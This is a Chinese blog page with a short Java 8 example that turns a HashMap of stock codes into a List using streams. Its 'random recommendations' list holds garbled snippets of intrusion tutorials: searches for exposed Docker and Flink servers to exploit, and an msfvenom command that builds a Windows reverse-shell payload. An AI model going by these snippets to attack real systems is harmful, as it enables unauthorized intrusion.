Java8使用stream将Map转成List的方法

2023-05-16

import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
 * @Author liangjunwei
 * @Date 2022/1/21 17:18
 */
public class MapToList {
    public static void main(String[] args) {
        Map<String,String> map = new HashMap<>(16);
        map.put("600519","贵州茅台");
        map.put("601398","工商银行");
        map.put("300750","宁德时代");
        map.put("002415","海康威视");
        map.put("09988","阿里巴巴");
        map.put("00700","腾讯控股");
        List<Object> list = map.entrySet().stream().map(ent -> ent.getKey()+":"+ent.getValue())
        .collect(Collectors.toList());
        list.forEach(listFor -> System.out.println(listFor));
        System.out.println("map数据格式:" + map);
        System.out.println("list数据格式:" + list);
    }
}

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Java8使用stream将Map转成List的方法 的相关文章

随机推荐

  • 实战Docker未授权访问提权

    1 fofa关键字 port 61 2375 amp amp body 61 page not found 2 docker H tcp ip port 可查看到当前所有的实例 3 docker H tcp ip port pull alp
  • Apache Flink 未授权远程代码执行提权(实战)

    1 fofa 搜索 app 61 Apache Flink 可以看到有上千个 2 生成木马 下面展示一些 内联代码片 msfvenom span class token operator span p java span class tok
  • 【Hackthebox Stocker】打靶记录

    Hackthebox Stocker nmap 扫描一把 得到tcp端口22 80 nmap sC sV 10 10 11 196 Starting Nmap 7 93 https nmap org at 2023 05 10 05 51
  • kali下msf提权

    生成木马 Msfvenom p windows meterpreter reverse tcp lhost 61 192 168 184 132 lport 61 4444 f exe o root Desktop 1 exe 配置监听程序
  • 15个免费好用的抓包工具

    Hping Hping是最受欢迎和免费的抓包工具之一 它允许你修改和发送自定义的ICMP xff0c UDP xff0c TCP和原始IP数据包 此工具由网络管理员用于防火墙和网络的安全审计和测试 HPing可用于各种平台 xff0c 包括
  • Kali linux 静态ip和动态ip设置

    ifconfig 查看当前网卡 service networking stop 停止当前网卡网络服务 vi etc network interfaces 对网卡配置进行修改 Esc键 xff1a wq 进行保存 重启网络服务 service
  • 内网kali 通过ngrok穿透反弹shell

    1 在ngrok注册账号 xff0c 并且开通免费隧道 xff08 网址 xff1a https www ngrok cc xff09 这里我kali的内网ip地址是10 10 10 131 2 下载Ngrok客户端 xff08 地址htt
  • java中【HashMap】初始化时,尽量指定初始值大小

    Inspection info 集合初始化时 xff0c 指定集合初始值大小 说明 xff1a HashMap使用如下构造方法进行初始化 xff0c 如果暂时无法确定集合大小 xff0c 那么指定默认值 xff08 16 xff09 即可
  • java实现排列组合运算

    排列组合运算 xff0c 大家都不陌生吧 xff1a 如果有3个集合来作排列组合运算 xff0c 每个集合的元素个数分别为n1 n2 n3 xff0c 则结果集的元素个数为n1 n2 n3 我的实现思路是 xff1a 1 xff09 遍历每
  • 图像处理--图像滤波与滤波器

    https blog csdn net yangleo1987 article details 53158262 图像滤波的作用 xff1a 在尽可能保留图像细节特征的条件下 xff0c 对目标图像的噪声进行抑制 常见的图像滤波器 xff1
  • 【教程】Windows获取开发人员许可证(Windows 应用商店应用)

    安装了Visual Stdio 2012和2013版本以后 xff0c 会需要获取Windows开发人员许可证 过程如下 xff1a 用管理员权限 打开Windows PowerShell 运行以下命令 xff1a Show Windows
  • QT中的MessageBox设置自动关闭退出

    一 概述 由于弹出的MessageBox需要手动操作 xff0c 点击相关操作程序才会进一步执行 xff0c 所以有时程序使用了MessageBox会阻塞相关功能代码执行 例如 xff0c 在串口编程中 xff0c 接收到数据或某项配置成功
  • SpringAop

    目录 1 创建maven项目 pom xml添加依赖2 启动类3 代理类4 服务类5 请求类6 Spring4的Aop7 Spring5的Aop 1 创建maven项目 pom xml添加依赖 span class token generi
  • 最常用的linux命令大全

    个人感觉这篇最常用的linux命令大全写的比较好 xff0c 所以做了转载 xff0c 原文连接 一 基础知识 1 1 liunx系统的文件结构 dev 设备文件 etc 大多数配置文件 home 普通用户的家目录 lib span cla
  • Spring注解(包含SpringBoot)

    目录 1 64 SpringBootApplication 作用在启动类上 2 64 EnableAutoConfiguration 作用在启动类上 3 64 ComponentScan 作用在启动类上 4 64 Configuration
  • SUSE12系统安装

    SUSE12系统安装 本教程为转载 xff0c 原文连接 1 启动安装模式 在启动页面上选择Installation xff0c 然后按Enter键 xff0c 开始载入SUSE Linux服务安装程序并以普通模式安装 开始初始化 更新安装
  • SUSE15系统安装

    本教程为转载内容 xff0c 原文链接 SUSE15系统安装 安装开始 1 启动安装模式 在启动页面上选择Installation xff0c 然后按Enter键 xff0c 这将载入SUSE Linux服务器安装程序并以普通模式安装 2
  • Rocky Linux 8.4系统安装

    本教程为转载内容 xff0c 原文链接 Rocky Linux 8 4系统安装 安装目的地 xff0c 选择自定义 xff0c 点击完成 点击自动创建 修改 分区的大小为34 GiB xff0c 将空闲出来的1 06GiB分给 temp分区
  • Ubuntu21.04系统安装

    目录 1 启动Ubuntu21 04镜像2 安装界面3 键盘布局4 安装模式5 安装类型6 磁盘分区7 确认磁盘手动分区8 创建EFI System Partition9 创建boot引导分区10 创建swap虚拟分区11 创建根分区12
  • Java8使用stream将Map转成List的方法

    import java util HashMap import java util List import java util Map import java util stream Collectors 64 Author liangju